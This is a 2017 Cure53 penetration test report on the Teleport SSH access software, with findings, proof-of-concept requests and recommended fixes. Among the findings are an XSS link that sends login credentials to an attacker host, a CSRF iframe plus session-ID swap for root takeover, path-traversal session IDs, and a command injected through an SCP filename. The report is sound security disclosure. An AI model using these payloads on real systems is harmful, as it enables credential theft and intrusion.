Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

Pentest-Report Teleport Client & Server 04.2017

Cure53, Dr.-Ing. M. Heiderich, M. Wege, MSc. N. Krein, BSc. D. Weißer, J. Larsson, Dipl.-Ing. A. Inführ

Index

Introduction

This report documents the findings of a penetration test and source code audit against the Teleport software maintained by Gravitational. The assessment was carried out by Cure53 in April 2017, specifically involving six Cure53 testers. A total of 22 days of testing was dedicated to the completion of this test. Ultimately, the assessment led to a discovery of nine security-relevant issues which are discussed in great detail in the later sections of this report.

As for the approach chosen for the assessment, the involved parties agreed upon the benefits of a white-box methodology. This means that the Cure53 team was granted full access to all relevant sources. Furthers, the testing team was able to deploy test servers on their own VMs. With this focus and scope in mind, Cure53 conducted extensive tests against the VMs and Teleport instances running on these. In addition, the sources supplied by the Gravitational team were thoroughly reviewed and audited. It should also be noted that the parts of the software involving web frontends were specifically tested and checked for the web-related security issues, particularly XSS, CSRF and similarly dangerous attacks.

The assessment has proceeded smoothly and on schedule. Each spotted issue has been directly live-reported via the Gravitational Github bug tracker. The fact that the problems were being made instantly known while the test was still ongoing meant that the work done on repairs and fixes could occur right away and benefit from feedback issued by the Cure53 testers. . A dedicated shared Slack channel was further used for an even better communication flow. Besides clear technical advantages, outstanding communication between the in-house team at Gravitational and the Cure53 testers ensured that all questions were answered in quick and precise manner. All these items together contributed to this test's heightened productivity and coverage levels.

Among the eight discoveries unveiled by the Cure53 tests, six constituted security issues and two can be consider general weaknesses. Note that one issue was initially addressed and documented, yet then dismissed as a false alert. Its removal from the documentation explains the missing heading of *TLP-01-002* and the numbering behind sequent vulnerabilities documented in this report. What is more important is that fixes for all issues were proposed and implemented by the Gravitational team soon after they were reported. The Cure53 testers were able to verify most of the proposed approaches prior to the tests actually concluded.

On the following pages of the report one can first find a brief description of the scope, swiftly shifting to a case-by-case discussion of each single issue unveiled by the Cure53 testers. The documentation encompasses not only the core rationales of the issues but rather expands to providing PoCs as well as advised mitigation strategies. Due to the timely involvement of the Gravitational team, notes about up-to-date fix status for the reported findings can be also consulted for the issues. In closing remarks, a general verdict is given regarding the state of security at the Teleport software maintained by Gravitational.

Scope

- **Teleport Software**
  - https://github.com/gravitational/teleport
  - http://gravitational.com/teleport/
- **Non-Public Sources were shared with Cure53**

Identified Vulnerabilities

The following sections list both vulnerabilities and implementation issues spotted during the testing period. Note that findings are listed in a chronological order rather than by their degree of severity and impact. The aforementioned severity rank is simply given in brackets following the title heading for each vulnerability. Each vulnerability is additionally given a unique identifier (e.g. *TLP-01-001*) for the purpose of facilitating any future follow-up correspondence.

TLP-01-001 Web: Arbitrary Redirect and XSS within Login Form (*High*)

Note: This issue was reported by Cure53 while the pentest was still ongoing. The fix was deployed by Gravitational and successfully verified by Cure53 in terms of adequacy.

General login mechanisms of the Teleport application were subjected to testing and it was noticed that certain risk-raising possibility exists in this realm. Notably, it was found achievable to supply an arbitrary URL to get redirected to after the login was successful. Firstly, this leads to potential Phishing attacks, as these can be accomplished by redirecting a possible victim to a fake login site after the first time s/he tried to submit their credentials. Secondly, it is actually possible to trigger an XSS vulnerability that directly allows to steal the user's credentials and, for example, send them over to a victim-controlled logger. The affected code parts can be seen in the following listings.

Affected File:
/web/src/app/components/user/login.jsx

Affected Code:
```
onLoginWithOidc(providerName){
  let redirect  = this.getRedirectUrl();
  actions.loginWithOidc(providerName, redirect);
},

onLoginWithU2f(username, password) {
  let redirect = this.getRedirectUrl();
  actions.loginWithU2f(username, password, redirect);
},

onLogin(username, password, token) {
  let redirect  = this.getRedirectUrl();
  actions.login(username, password, token, redirect);
},

getRedirectUrl() {
  let loc = this.props.location;
  let redirect = cfg.routes.app;
  if (loc.query && loc.query.redirect_uri) {
    redirect = loc.query.redirect_uri;
  }

  return redirect;
},
```

Affected File:
/web/src/app/flux/user/actions.js

Affected Code:
```
login(user, password, token, redirect) {
  let promise = auth.login(user, password, token);
  actions._handleLoginPromise(promise, redirect);
},

[...]

_handleLoginPromise(promise, redirect) {
  restApiActions.start(TRYING_TO_LOGIN);
  promise
    .done(() => {
      auth.redirect(redirect);
    })
    .fail(err => {
      let msg = api.getErrorText(err);
      restApiActions.fail(TRYING_TO_LOGIN, msg);
    })
}
```

Affected File:
/web/src/app/services/auth.js

Affected Code:
```
redirect(url) {
  // default URL to redirect
  url = url || cfg.routes.login;
  window.location = url;
},
```

The redirection can easily be triggered by simply supplying an arbitrary value for the *redirect_uri* parameter.

Redirect PoC:
https://130.211.140.45:3080/web/login?redirect_uri=http://google.com

A more weaponized approach combined with JavaScript to trigger an actual XSS can be seen in the following example, where the used credentials are read from the HTML form and then passed to an attacker-controlled website.

XSS Cred Stealing PoC:
https://130.211.140.45:3080?redirect_uri=javascript:user=document.getElementsByClassName%28%27form-control%20required%27%29[%27userName%27].value;pw=document.getElementsByClassName%28%27form-control%20required%27%29[%27password%27].value;alert%28%27thanks,%20i\%27ll%20send%20%27%2buser%2b%27:%27%2bpw%2b%27%20to%20meowz.h4x.tv%20now%20:%29%27%29;document.location=%27http://meowz.h4x.tv/?log=%27%2buser%2b%27:%27%2bpw

It is recommended to only allow HTTPS-schemes when redirecting and making sure that the URL itself is present within a hardcoded whitelist. Otherwise, the mechanisms in place should ensure that the attack is prevented by appropriate "bailing out" reaction.

TLP-01-003 Web: jQuery changes signup passwords on the fly *(Low)*

Note: This issue was reported by Cure53 while the pentest was still ongoing. The fix was deployed by Gravitational and verified by Cure53 as successfully solving the issue.

Upon signing up a newly invited user onto the web interface, a strange error was noticed. More specifically, as soon as the user-password contained two question marks, the server would react with an error message. Consequently, it would not accept the POST request for creating the user. In investigating this peculiarity, a sequence ultimately forming a strange pattern was noticed. In fact, instead of the two questions marks, the new password contained a very long string or seemingly random characters. The latter indicated to have been added by the jQuery library on which the web interface relies.

The data shown below highlights the selection of initial passwords. Further, it demonstrates how the actual request to sign the user onto the services ultimately looked like. As can be seen, the original string was set to *"Abc123!???"* while the data that was actually transferred to the server looked completely different, not to mention that it used a *"Abc123**jQuery21103563727496645167_1492764942204**?"* password.

Submitted Data:
1. Username: *mario*
2. Password: *Abc123???*
3. Token: *d1aa1ba9ad3d4ad258e6a786d0e80db3*

Resulting Request:

```
POST /v1/webapi/users HTTP/1.1
Host: 130.211.140.45:3080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101
Firefox/52.0
Accept: text/javascript, application/javascript, application/ecmascript,
application/x-ecmascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Authorization: Bearer undefined
X-Requested-With: XMLHttpRequest
Referer:
https://130.211.140.45:3080/web/newuser/d1aa1ba9ad3d4ad258e6a786d0e80db3
Content-Length: 155
Cookie: session=
Connection: close

{"user":"mario1","pass":"Abc123jQuery21103563727496645167_1492764942204?","seco
nd_factor_token":"123456","invite_token":"d1aa1ba9ad3d4ad258e6a786d0e80db3"}
```

At a first glance, this behavior does not make much sense. Quite extensive efforts and investigative tactics were key to discerning the core of this problem. The application's code, along with the jQuery code, needed to undergo debugging for the problem to actually emerge as an issue that could be spotted. It was found that the reason for the strange behavior stems from the fact that jQuery wrongly assumes that the user-password contains a URL value. Further, it also assumes that the URL indicates the presence of a JSONP callback parameter and, as a result of that mistaken judgment, it tries to replace the alleged JSONP callback parameter with a unique method name for safer processing. The method name is composed by the string "jQuery", the actual jQuery version and a current timestamp.

The code supplied below was identified as the key responsible core for executing string operations that replace parts of the password with a jQuery JSONP callback parameter name. As can be seen next, the jQuery uses a specific regular expression to match for callback parameter names. Then, it replaces the result with a highly predictable string.

When consulting the code, please make use of the comments with numbers for a better navigation, as these indicate the order of execution and facilitate understanding of the matter at hand.

Affected Code (compressed jQuery):

```
var Ne = []
, Ie = /(=)\?(?=&|$)|\?\?/;
```

```
  // 2. this regex is supposed to look for possible callback values
it.ajaxSetup({
       jsonp: "callback",
       jsonpCallback: function() {
       var t = Ne.pop() || it.expando + "_" + pe++;
       // 3. jQuery seeks to replace the callback param
       return this[t] = !0,
       // 4. The code replaces too much and actually influences the POST data
       t
       }
}),
it.ajaxPrefilter("json jsonp", function(t, e, n) {
       var r, i, s, a = t.jsonp !== !1 && (Ie.test(t.url)
              ? "url" : "string" == typeof t.data && !(t.contentType
                     ||    "").indexOf("application/x-www-form-urlencoded")    &&
                     Ie.test(t.data) && "data");
       return a || "jsonp" === t.dataTypes[0]
              ? (r = t.jsonpCallback = it.isFunction(t.jsonpCallback)
              ? t.jsonpCallback() : t.jsonpCallback,
       a ? t[a] = t[a].replace(Ie, "$1" + r) : t.jsonp !== !1
              && (t.url += (me.test(t.url) ? "&" : "?") + t.jsonp + "=" + r),
              // 1. Here, jQuery iterates over the login POST data
       t.converters["script json"] = function() {
       return s || it.error(r + " was not called"),
       s[0]
       }
       ,
       t.dataTypes[0] = "json",
       i = o[r],
       o[r] = function() {
       s = arguments
       }
       ,
       n.always(function() {
       o[r] = i,
       t[r] && (t.jsonpCallback = e.jsonpCallback,
       Ne.push(r)),
       s && it.isFunction(i) && i(s[0]),
       s = i = void 0
       }),
       "script") : void 0
}),
```

An attacker might be able to use this issue to predict a password of a user. All parts of a user-password that fully match the regular expression `/(=)\?(?=&|$)|\?\?/;` will be modified by the jQuery and sent over to the server in a wrong and potentially even invalid way. As a result, users will be prevented from matching passwords and left unable to register successfully. It can be imagined that the pattern observed here could

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

lead to escalation. Specifically, this encompasses attackers in all scenarios where passwords have to follow certain policies in order to gain a higher change for significantly lowering the entropy. Note that the replacement patterns consist only of the “jQuery” string, the jQuery version number (which is known to every user of the web application), an underscore and, lastly, the timestamp (in seconds).

```
t[a] = t[a].replace(Ie, "$1" + r)
// t[a] being the JSON containing the password,
// Ie being the regex /(=)\?(?=&|$)|\?\?/
// and r being a predictable string
```

It is assumed that this behavior is factually not a jQuery bug, yet it is nevertheless recommended to update jQuery to its latest version to exclude that option for certain.

What the issue also illuminates is the power behind revisiting the application code that prepares the data before sending it to the jQuery AJAX methods. A revised approach in this realm might help fixing the issue, specifically the parts where the POST data is being *stringified* before being sent over to the server-side API. In this context, the *stringification* of the POST data before sending is missing. What is more in terms of mitigations, the Content-Type request header should be changed to *application/json*.

Code Snippet triggering bug:

```
var api = {
      put: function put(path, data, withToken) {
       return api.ajax({ url: path, data: JSON.stringify(data), type: 'PUT' }
              , withToken);
      },
      post: function post(path, data, withToken) {
       return api.ajax({ url: path, data: JSON.stringify(data), type: 'POST' },
withToken);
[...]
```

Modified Code Snippet, no bug:

```
var api = {
      put: function put(path, data, withToken) {
       return api.ajax({ url: path, data:data, type: 'PUT' }, withToken);
      },
      post: function post(path, data, withToken) {
       return api.ajax({ url: path, data:data, type: 'POST' }, withToken);
      },
[...]
```

Resulting Fixed Request:
```
POST /v1/webapi/users HTTP/1.1
Host: 130.211.140.45:3080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101
Firefox/52.0
Accept: text/javascript, application/javascript, application/ecmascript,
application/x-ecmascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Authorization: Bearer undefined
X-Requested-With: XMLHttpRequest
Referer:
https://130.211.140.45:3080/web/newuser/d1aa1ba9ad3d4ad258e6a786d0e80db3
Content-Length: 155
Cookie: session=
Connection: close

{"user":"mario1","pass":"Abc123??","second_factor_token":"123456","invite_token
":"d1aa1ba9ad3d4ad258e6a786d0e80db3"}
```

TLP-01-004 Web: Path Injection in Backend Calls allows File Leaks *(Medium)*

Note: This issue was reported by Cure53 while the pentest was still ongoing. The fix was deployed by Gravitational and successfully verified by Cure53.

It was discovered that API server does not normalize the *namespace* variable. This allows an attacker to use URL encoding and influence the path of the backend request. The web server exports different HTTP routes to the end user. After implementing certain sanity checks on the path variables, the server can be observed *talking* to the backend by means of issuing a HTTP request.

When this was investigated further, it transpired that the *namespace* variable is neither checked nor normalized prior to being included in the path of a backend call. This allows an attacker to use URL encoding in the *namespace* path variable, thus enabling a call to a different backend endpoint.

The request example provided below demonstrates this vulnerability via the */stream* endpoint. The endpoint should return the content of a current SSH session but is redirected to the */events* endpoint instead. It must be noted that this is not the only instance of a vulnerable */namespaces* occurrence. The following examples concern only a selection of excerpts, though it seems that all */:namespace/sessions* endpoints suffer from the same path injection problem:

```
h.GET("/webapi/sites/:site/namespaces/:namespace/sessions/:sid/events",
h.WithClusterAuth(h.siteSessionEventsGet))
h.GET("/webapi/sites/:site/namespaces/:namespace/sessions/:sid",
h.WithClusterAuth(h.siteSessionGet))
```

Example Request:

```
GET https://104.198.251.190:3080/v1/webapi/sites/3b5e4796-d840-476a-9b9d-
11dd0f97db50/namespaces/..%252fevents%3f/sessions/7e4e8f6d-267c-11e7-a763-
42010a800002/stream HTTP/1.1
Authorization: Bearer 9dcffb494a1b837a2c8a296e300263f1
X-Requested-With: XMLHttpRequest
Cookie:
session=7b2275736572223a225c7530303363696d675c7530303365222c22736964223a2231633
93237636237316132353461666139666638666531376134346133373938227d
Host: 104.198.251.190:3080

HTTP/1.1 200 OK
Content-Type: application/octet-stream
Date: Sun, 23 Apr 2017 19:14:56 GMT

[{"addr.local":"127.0.0.1:3022","addr.remote":"84.112.240.90:54971","event":"se
ssion.start","login":"alex","namespace":
[...]
```

File:
teleport-master\lib\web\apiserver.go

Code:

```
h.GET("/webapi/sites/:site/namespaces/:namespace/sessions/:sid/stream",
h.siteSessionStreamGet)
```

File:
teleport-master\lib\web\apiserver.go

Code:

```
func (m *Handler) siteSessionStreamGet(w http.ResponseWriter, r *http.Request,
p httprouter.Params) {
[...]
bytes, err := clt.GetSessionChunk(p.ByName("namespace"), *sid, offset, max)
```

File:
teleport-master\lib\auth\clt.go

Code:

```
func (c *Client) GetSessionChunk(namespace string, sid session.ID, offsetBytes,
maxBytes int) ([]byte, error) {
```

```
[...]
response, err := c.Get(c.Endpoint("namespaces", namespace, "sessions",
string(sid), "stream"), url.Values{
  "offset": []string{strconv.Itoa(offsetBytes)},
  "bytes":  []string{strconv.Itoa(maxBytes)},
 })
```

File:
teleport-master\vendor\github.com\gravitational\roundtrip\client.go

Code:
```
// Endpoint returns a URL constructed from parts and version appended, e.g.
//
// c.Endpoint("user", "john") // returns "/v1/users/john"
//
func (c *Client) Endpoint(params ...string) string {
 return fmt.Sprintf("%s/%s/%s", c.addr, c.v, strings.Join(params, "/"))
}
```

It is recommended to decode the *namespace* variable until it no longer contains URL-encoded characters. This allows for its proper normalization and prevents path traversal vulnerabilities. A simpler approach can be implemented by forbidding the *'%'* character in the *namespace* variable. This can be accomplished by exclusively allowing alphanumeric characters.

TLP-01-005 Proxy: Account Takeover via Session Hijacking (*Critical*)

Note: This issue was reported by Cure53 while the pentest was still ongoing. The fix was deployed by Gravitational and verified as successful by Cure53.

Further exploration of the web interface showed that every session-ID is completely disclosed via the */web/sessions*-route. This has put Cure53 on the path to a few tests aimed at determining whether it was actually possible to conduct privilege escalation or account-takeover attacks by simply leaking a targeted session-ID. Since the ID values in question are openly disclosed, there should be enough checks in place to verify if the requesting account has the necessary privileges for dropping into a shell of another user.

However, it was determined that the latter is not the case. Initiating a privileged session while leaking the connected user's session-ID is enough to completely take over his or hers shell account. What is more, this can even be combined with a CSRF attack. To reproduce the scenario demonstrating the vulnerability, one shall follow the steps enumerated below:

1. Two accounts are created on the Teleport instance. These are:
    1. A highly privileged *root* user;
    2. Another unprivileged *john* user.
2. The *john* user takes their own "*Login as*"-link but replaces a username in the URL with "*root*". It is then imagined that a CSRF attack is conducted, sending *root* a link that contains the following HTML code.
   (Note here that the server-ID needs to be changed accordingly on other test instances).

   evil.html:
   ```
   <iframe style="visibility: hidden;"
   src="https://teleport:3080/web/cluster/f7e0cea8-9ba2-48b4-b2ad-
   ee18af17e8ac/node/f7e0cea8-9ba2-48b4-b2ad-ee18af17e8ac/root"></iframe>
   ```

3. Upon visiting the specified link, the *root* user unknowingly opens an active session that the *john* user can see on the */web/sessions*-Route (https://teleport-instance:3080/web/sessions).
4. At this point *john* copies *root*'s session-ID and then requests shell access via "*Login as*" while intercepting all HTTP traffic. In the next step, *john* changes the following GET request:

   ```
   GET /v1/webapi/sites/f7e0cea8-9ba2-48b4-b2ad-ee18af17e8ac/connect?
   access_token=34c9af68057f3288caecd2341bf40b55&params=%7B%22server_id
   %22:%22f7e0cea8-9ba2-48b4-b2ad-ee18af17e8ac%22,%22login%22:%22work
   %22,%22sid%22:%22ab3b14f4-28fc-11e7-9aed-08002772e72e%22,%22term%22:%7B
   %22h%22:50,%22w%22:129%7D%7D HTTP/1.1
   ```

5. In the request, the highlighted session-ID is replaced with the leaked one from *root*.
6. As a result, *john* is now logged in as *root* and possesses all of the privileges linked to the higher-privileged user-account on the connected node.

The fact that all session-IDs are openly disclosed makes it rather unclear as to whether this behavior may actually be intended. But since this attack is accompanied by wide-reaching consequences of having a single unprivileged user suddenly gaining a capacity to compromise all nodes connected to the Teleport instance, it is absolutely necessary for this "functionality" to undergo an urgent review.

It is highly recommended to not only check the requesting *username*, but also the session-cookie the request originates from, noting whether it is different from the session-ID that is used for shell access. If the session-cookie does not belong to *root,* then allocating a shell to *john* must be prohibited.

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

TLP-01-006 Server: Arbitrary File Creation potentially leads to RCE (*Critical*)

Note: This issue was reported by Cure53 while the pentest was still ongoing. The fix was deployed by the Gravitational team and verified by Cure53 as appropriate.

Two log files are created on the main Teleport host for each new session. One of the log files stores the shell's contents, while the other contains events like keyboard actions. Due to a vulnerability in the web interface, an authenticated user can change the storage location of those files. Effectively this allows to drop files at arbitrary locations on the filesystem as *root* and thus doing so with the highest privileges. Under certain circumstances one can exploit this vulnerability in order to escalate to *root* on the main server. This means that the entirety of the connected network would be compromised.

Websocket Request URL:
```
https://teleport:3080/v1/webapi/sites/5cc50bdb-be53-4d8a-ab88-
b32dbe6cf658/connect?access_token=daa35d607738db4e059b858d7d5b2128&params=%7B
%22server_id%22:%229548951a-40f3-4fea-910f-d37db507170e%22,%22login%22:%22meow
%22,%22sid%22:%22/../../../../../../../../../../../../../../../../../meow
%22,%22term%22:%7B%22h%22:76,%22w%22:305%7D%7D
```

This request leads to the files *meow.session.log* and *meow.session.bytes* being created on the main teleport server inside the *root* (/) directory. It was not possible to fill the *.bytes* file with contents as the server complained about the invalid UUID format. However, the events are still logged.

Content of */meow.session.log*:
```
{"addr.local":"192.168.1.2:3022","addr.remote":"192.168.1.1:40380","event":"ses
sion.start","login":"meow","ms":-
35,"namespace":"default","offset":0,"server_id":"9548951a-40f3-4fea-910f-
d37db507170e","sid":"/../../../../../../../../../../../../../../../../../../meow","si
ze":"80:25","time":"2017-04-25T13:04:45.965Z","user":"meow"}
```

Because of the limited control one can gain over the file contents, an actually successful exploitation of this issue can be difficult. One possible way to succeed even so would be to write malicious files to the *bash autocompletion* directory if the *bash* feature is enabled.

It is recommended to make sure that the *sid* parameter has a valid UUID format. This can be achieved by using the *Parse* function from the *UUID* class.

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

TLP-01-007 Server: Logging mechanism can be bypassed *(Medium)*

Note: This issue was reported by Cure53 while the pentest was still ongoing. The fix was deployed by Gravitational and verified as satisfactory by Cure53.

The issue documented here can be seen as an expansion or addition of the problem described in TLP-01-006. Namely, all user-activity is stored in centralized log files. These logs contain time and date pertaining to when a user logs into a system and what happens inside the *shells* of the nodes. The users with access to the Web-UI can prevent the *shell* contents from being logged. An attacker could benefit from this vulnerability as s/he can login to the servers without leaving any trace behind.

New sessions are initiated via a websocket request containing the server ID, the login name and a sessionID. If the value of the sessionID fails to exhibit a valid UUID format, the *shell* contents are not logged and the file remains empty.

Websocket Request URL:

```
https://10.4.204.8:3080/v1/webapi/sites/5cc50bdb-be53-4d8a-ab88-
b32dbe6cf658/connect?access_token=74a37e797acd735893f52ba8e3d487c8&params=%7B
%22server_id%22:%229548951a-40f3-4fea-910f-d37db507170e%22,%22login%22:%22meow
%22,%22sid%22:%22TOTALLY_A_UUID%22,%22term%22:%7B%22h%22:76,%22w%22:305%7D%7D
```

Once again it is recommended to make sure that the sessionID constantly takes advantage of a valid UUID format. This can be achieved by using the *Parse* function from the *UUID* class.

Miscellaneous Issues

This section covers those noteworthy findings that did not lead to an exploit but might aid an attacker in achieving their malicious goals in the future. Most of these results are vulnerable code snippets that did not provide an easy way to be called. Conclusively, while a vulnerability is present, an exploit might not always be possible.

TLP-01-008 Server: User enumeration via response time *(Low)*

Note: This issue was reported by Cure53 while the pentest was still ongoing. The fix was deployed by the Gravitational team and received positive verification from the Cure53 testing team.

It was found possible to enumerate existing user-names via the response time on the login attempts. An attacker could use this issue to narrow down a potential list of users to target.

Login response times for valid user:

```
% for i in {1..5}
do
curl -s -o /dev/null -k --data-binary
'{"user":"root","pass":"asdasd","second_factor_token":""}'
https://10.4.204.8:3080/v1/webapi/sessions -w %{time_total};echo
done
0.093869
0.108620
0.084940
0.095810
0.088794
```

Login response times for invalid user:

```
% for i in {1..5}
do
curl -s -o /dev/null -k --data-binary
'{"user":"idontexist","pass":"asdasd","second_factor_token":""}'
https://10.4.204.8:3080/v1/webapi/sessions -w %{time_total};echo
done
0.067655
0.068072
0.058170
0.058168
0.064675
```

This attack can be accomplished without knowing any user-passwords. It is evident that it takes longer to reject an existing user that it takes to deny access to a non-existing account. It is recommended to make sure that the response time is equal for the existing and non-existing users in case the login attempt fails.

TLP-01-009 SCP: Missing input validation leads to RCE via filename *(Low)*

Note: This issue was reported by Cure53 while the pentest was still ongoing. The fix was deployed by Gravitational and verified by Cure53 as successfully solving the issue.

It was found that file names are not properly escaped for SCP file transfers leading to a command injection. However, a user with SCP permissions most likely can rely on SSH for getting into a server as well. This issue is only useful in rare edge cases where a user fails to proceed with caution when downloading files created with different permissions. As a consequence, a potential command execution can occur. The following *file transfer* command leads to a *sleep* command being executed on the remote server.

Command:
```
tsh --user=meow --proxy=localhost --insecure scp '192.168.1.2:/catz;sleep 100;'
a
```

Processes on the server:
```
meow       893  0.0  0.0  11952  2444 ?        Ss   10:00   0:00 /bin/bash
-c /usr/local/bin/teleport scp --remote-addr=::1:60666 --local-
addr=192.168.1.2:3022 -f /catz;sleep 100;
meow       899  0.0  0.0   4208   624 ?        S    10:00   0:00 sleep 100
```

The affected code is adequately highlighted to ease the legibility of the code snippets. Here the file name is concatenated with the command without being subject to any kind of input validation.

Affected File:
/lib/client/client.go

Affected Code:
```
func (client *NodeClient) Upload(srcPath, rDestPath string, recursive bool,
stderr, progressWriter io.Writer) error {
        [...]
        shellCmd := "/usr/bin/scp -t"
        if recursive {
                shellCmd += " -r"
        }
        shellCmd += " " + rDestPath
        return client.scp(scpConf, shellCmd, stderr)
}

func (client *NodeClient) Download(remoteSourcePath, localDestinationPath
string, recursive bool, stderr, progressWriter io.Writer) error {
        [...]
        shellCmd := "/usr/bin/scp -f"
        if recursive {
                shellCmd += " -r"
        }
        shellCmd += " " + remoteSourcePath
        return client.scp(scpConf, shellCmd, stderr)
}
```

This issue has been deemed to pose a low risk because no realistic way to exploit it could be identified at present. However, it is still recommended to escape the the file name in order to prevent the command injection.

Conclusions

The results of this Cure53 security assessment of the Teleport software maintained by the Gravitational team are rather positive, with a caveat that certain components subjected to testing held up to scrutiny better than others. More specifically, six Cure53 testers who were tasked with completing this project over the course of 22 days in April, identified a notable difference in the higher quality of the code vis-a-vis weaker handling of web security.

As for successful attack vectors in the context of the Teleport product's complexity, the number of bugs is actually lower than expected. This nevertheless does not change the fact that the final list of eight findings contains two discoveries marked as "Critical". The web part of the Teleport project was quickly made out to be the weaker aspect, as Cure53 found so-called low-hanging fruit quite early in the test. These issues were markedly caused by an unvalidated client-side redirect that lead to XSS and possible credential theft.

With one third of the six vulnerabilities being at such an utmost high level, there is some cause for concern regarding web security. As already alluded to above, this is particularly because the two potentially most harmful issues would either enable an attacker to take over existing user-accounts without considerable efforts or let a malicious adversary conduct a successful attack against the existing servers, thereby gaining Remote Code Execution (RCE). On the positive note, both severe issues deemed "Critical", which can be found in the documentation under TLP-01-005 and TLP-01-006, could be considered relatively easy to fix. In fact, as they were live-reported, they now boast satisfactory and verified fixes and no longer threaten the Teleport project.

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

None of the vulnerabilities further evoke a danger of, the repairs and mitigation requiring complex changes and design alterations. Having said that, it must be reiterated that exactly half of all security vulnerabilities were found in the web parts of the platform. This should be seen as a sign that this arena might require continued attention in the future and detailed checks for XSS and CSRF within coming revisions.

On the plus side, the code quality of the Teleport software compound was notably high and characterized by maturity. This area usually proves difficult for many projects, so the Cure53 team was impressed with the decisions around the code, which were clearly well-thought with security and advanced planning in mind on the Gravitational team's side. The choice of language was a smart one, as with the use of other languages like C or C++ the report would likely have yielded very different findings and conclusions.

Finally, what can be read as an outstandingly positive take-away from this assessment is the impression around the professionalism, knowledge and dedication of the Gravitational team. The pace and adequacy of the deployed fixes, reactions and responsiveness is a true testament to the potential for the next steps. As this impression was consistent with all issues, it can be inferred that the project will continue on to efficiently and effectively deliver on security promises.

All in all, the software makes a good and solid impression. Once again, this conclusion is strongly reinforced by the quality communication and dedication to a successful deployment of fixes exhibited by the Gravitational team's professional and proper handling of the results and feedback. Ultimately, it directly translates to the Cure53's verdict about the Teleport fast-approaching its production-ready state.

Cure53 would like to thank Sasha Klizhentas, Alexey Kontsevoy, Russell Jones and the rest of the team over at Gravitational for their excellent project coordination, support and assistance, both before and during this assignment.